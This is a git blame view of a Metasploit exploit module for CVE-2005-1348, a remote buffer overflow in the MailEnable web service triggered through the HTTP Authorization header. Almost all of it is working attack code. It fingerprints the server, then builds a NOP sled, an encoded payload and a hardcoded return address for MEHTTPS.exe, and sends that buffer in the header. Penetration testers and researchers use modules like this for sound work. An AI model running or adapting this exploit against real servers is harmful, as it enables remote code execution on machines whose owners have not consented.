Files
metasploit-gs/modules/exploits/windows/http/mailenable_auth_header.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

66 lines
1.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2007-01-07 23:33:03 +00:00
2010-07-07 17:38:59 +00:00
HttpFingerprint = { :pattern => [ /MailEnable/ ] }
include Msf::Exploit::Remote::HttpClient
2007-01-07 23:33:03 +00:00
def initialize(info = {})
super(update_info(info,
2007-01-07 23:33:03 +00:00
'Name' => 'MailEnable Authorization Header Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow in the MailEnable web service.
The vulnerability is triggered when a large value is placed into the Authorization
2017-09-13 22:03:34 -04:00
header of the web request. MailEnable Enterprise Edition versions prior to 1.0.5 and
MailEnable Professional versions prior to 1.55 are affected.
2007-01-07 23:33:03 +00:00
},
'Author' => 'David Maciejak <david.maciejak[at]kyxar.fr>',
2007-01-07 23:33:03 +00:00
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2005-1348'],
['OSVDB', '15913'],
['OSVDB', '15737'],
2007-01-07 23:33:03 +00:00
['BID', '13350'],
['URL', 'http://www.nessus.org/plugins/index.php?view=single&id=18123'],
2007-01-07 23:33:03 +00:00
],
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x0d\x0a"
},
'Platform' => 'win',
'Targets' =>
2007-01-07 23:33:03 +00:00
[
['MEHTTPS.exe Universal', { 'Ret' => 0x006c36b7 }], # mehttps.exe
],
2007-01-07 23:33:03 +00:00
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2005-04-24'))
2007-01-07 23:33:03 +00:00
end
def check
2010-07-07 17:38:59 +00:00
info = http_fingerprint # check method
if (info =~ /MailEnable/)
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Detected
2007-01-07 23:33:03 +00:00
end
Exploit::CheckCode::Safe
2007-01-07 23:33:03 +00:00
end
def exploit
buffer = make_nops(24) + payload.encoded + [target.ret].pack('V')
2010-07-07 17:38:59 +00:00
send_request_raw(
{
2007-01-07 23:33:03 +00:00
'headers' => { 'Authorization' => buffer }
}, 2)
handler
disconnect
end
end